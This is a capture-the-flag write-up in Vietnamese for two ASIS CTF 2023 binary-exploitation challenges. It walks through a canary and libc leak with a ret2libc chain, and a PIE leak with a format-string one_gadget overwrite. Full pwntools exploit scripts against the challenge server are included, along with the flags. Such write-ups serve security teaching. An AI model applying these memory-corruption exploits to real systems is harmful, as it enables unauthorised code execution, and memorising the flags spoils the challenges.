# (writeup) ASIS CTF 2023 ## hipwn - basic file check ![](https://hackmd.io/_uploads/HymePVyxp.png) - check ida ![](https://hackmd.io/_uploads/rJkZ_4kg6.png) - thông qua ida, ta đã biết sẽ có lỗi từ hàm **puts** - dụa vào cơ chế hàm **puts** sẽ in đến khi gặp NULL byte, ta dễ dàng leak được canry và cả libc (dựa vào vòng lặp cho dù ghi đè canary vẫn chưa đến lúc return) - biến được khai báo 72 bytes, lại cho phép ow tuỳ ý ---> 73 bytes sẽ nối chuỗi canary - sau canary là $rbp ---> ow $rbp để nối chuỗi libc_start_main - có libc ta sẽ ret2libc như bình thường - thoát khỏi vòng lặp bằng cách gửi số khác 1337 ![](https://hackmd.io/_uploads/rJkMTVJlT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./chall',checksec=False) libc = ELF('./libc.so.6',checksec=False) # p = process(exe.path) p = remote('45.153.243.57', 1337) # gdb.attach(p, gdbscript = ''' # b*main+141 # c # ''') # input() def loop(data): p.sendlineafter(b'much???\n', str(1337)) p.send(data) def choice(choice): p.sendlineafter(b'again?\n', str(choice)) payload = b'a'*73 loop(payload) p.recvuntil(payload) canary = u64(b'\0' + p.recv(7)) log.info("canary leak: " + hex(canary)) choice(1337) payload = b'a'*88 loop(payload) p.recvuntil(payload) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - 0x29d90 log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) choice(1337) pop_rdi = libc.address + 0x000000000002a3e5 ret = libc.address + 0x0000000000029cd6 payload = b'a'*72 payload += p64(canary) payload += b'a'*8 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) payload += p64(ret) payload += p64(libc.sym['system']) loop(payload) choice(1) p.interactive() #ASIS{so_you_know_how_to_pwn?!!!!} ``` >ASIS{so_you_know_how_to_pwn?!!!!} ## text-editor - basic file check ![](https://hackmd.io/_uploads/rkljaEkla.png) - check ida ![](https://hackmd.io/_uploads/HyyO_Jxl6.png) >**main()** ![](https://hackmd.io/_uploads/r1yeaJel6.png) >**print_menu()** ![](https://hackmd.io/_uploads/rJNKKJglp.png) >**edit_text()** >vị trí payload sẽ ghi vào vùng nhớ .bss (&**text**) ![](https://hackmd.io/_uploads/S1voKJxxp.png) >**save_text()** >đưa payload từ &**text** vào stack ![](https://hackmd.io/_uploads/rySfcyel6.png) >**show_error()** >là hàm khác với option3 >chọn invalid option sẽ in ra thông tin nào đó - note lại các offset địa chỉ quan trọng ![](https://hackmd.io/_uploads/rkbncyxe6.png) >**text** = 0x4020 ![](https://hackmd.io/_uploads/HJJ4pJglT.png) >**off_4210** = 0x4210 - từ 2 địa chỉ ta note lại ở trên, thấy rằng là ta bắt đầu nhập từ 4020, và in ra từ 4120 ---> offset 0x100 - ta còn có thể ow 8 byte - vậy thứ ta muốn là leak cái gì ? - PIE động ---> leak exe trước ![](https://hackmd.io/_uploads/SkKg-xex6.png) > thấy rằng là sau khi nhập 0x100 byte 'a', kế đó là 3 byte 'bc\n' > ngay ở lần call printf thanh ghi $rdi 3 byte cuối là 0xa06362 > vậy leak dc exe bằng những byte overflow - thứ ta cần là $rdi chứa 1 địa chỉ hợp lệ và trỏ đến 1 địa chỉ exe - thì đây là địa chỉ khả quan (0x8008) ![](https://hackmd.io/_uploads/Sk4mGgega.png) > test với chuỗi 'abcd\n' - ta sẽ overflow 2 byte cuối là p16(0x8008) - nhưng vì PIE động nên tạm thời ta bật NOASLR (dự kiến sẽ brute để leak exe) >phải brute vì ta còn bị dính 1 bit kế của 0x8008 (cao hoặc thấp hơn) ---> nằm ngoài exe - khi đã leak được exe base, tiếp theo ta sẽ leak libc bằng puts@GOT - việc cuối cùng là gọi one_gadget ow ở return 1 hàm (ở đây chọn hàm **main** ) - ta cần leak stack để trỏ nhằm ow one_gadget - thì stack có thể leak bằng 2 cách: - dùng fmt ở %6$p - dùng ``__environ`` có trong libc - có stack, tính $rip rồi từ đó fmt bình thường ![](https://hackmd.io/_uploads/HJz9wLWxT.png) > rbp chung rsp nên return trong hàm **show_text()** sẽ là dc38 > offset = 0x128 - khi nhập chuỗi payload để fmt, ta sẽ không **printf** liền mà ta sẽ sử dụng hàm **save_text()** để đưa payload ta lên stack nhằm thay đổi $rip - vì one_gadget cần yêu cầu $rbp-offset là địa chỉ writeable nên sau payload 0x100 byte sẽ là 8 byte địa chỉ &**text** - vì sự thay đổi 1 bit nên tỉ lệ brute là 1/16 (brute tay🥲) ![](https://hackmd.io/_uploads/S1fAAHbxT.png) - script: ```python #!/usr/bin/env python3 from pwn import * context.binary = exe = ELF("./chall_patched",checksec=False) libc = ELF("./libc.so.6",checksec=False) ld = ELF("./ld-linux-x86-64.so.2",checksec=False) if args.REMOTE: p = remote('45.153.243.57',13337) else: p = process(exe.path) def GDB(): #NOASLR if not args.REMOTE: gdb.attach(p, gdbscript=''' b*edit_text+48 b*show_error+23 b*main+195 b*save_text+38 c ''') input() info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) GDB() def edit(data): sla(b'> ',b'1') sa(b'text: ',data) def show(): sla(b'> ',b'4') def save(): sla(b'> ',b'2') payload = b'a'*0x100 + p16(0x8008) edit(payload) show() exe_leak = u64(p.recv(6) + b'\0\0') exe.address = exe_leak - 0x4008 info("exe leak: " + hex(exe_leak)) info("exe base: " + hex(exe.address)) payload = b'a'*0x100 + p64(exe.got['puts']) edit(payload) show() libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['puts'] info("libc leak: " + hex(libc_leak)) info("libc base: " + hex(libc.address)) text = exe.sym['text'] payload = b'%6$p|' payload = payload.ljust(0x100, b'P') payload += p64(text) edit(payload) show() stack = int(p.recvuntil(b'|')[:-1], 16) rip = stack - 0x128 info("stack leak: " + hex(stack)) info("stack need: " + hex(rip)) gadget = [0xebcf1,0xebcf5,0xebcf8] one_gadget = libc.address + gadget[1] info("one gadget: " + hex(one_gadget)) package = { ((one_gadget) >> 0) & 0xffff : rip, ((one_gadget) >> 16) & 0xffff : rip+2, ((one_gadget) >> 32) & 0xffff : rip+4, } order = sorted(package) payload = f'%{order[0]}c%18$hn'.encode() payload += f'%{order[1] - order[0]}c%19$hn'.encode() payload += f'%{order[2] - order[1]}c%20$hn'.encode() payload = payload.ljust(0x40) payload += flat( package[order[0]], package[order[1]], package[order[2]] ) payload = payload.ljust(0x100,b'P') + p64(text) edit(payload) save() show() p.interactive() #ASIS{text_editing_has_never_been_so_fun_d1fd2} ``` >ASIS{text_editing_has_never_been_so_fun_d1fd2}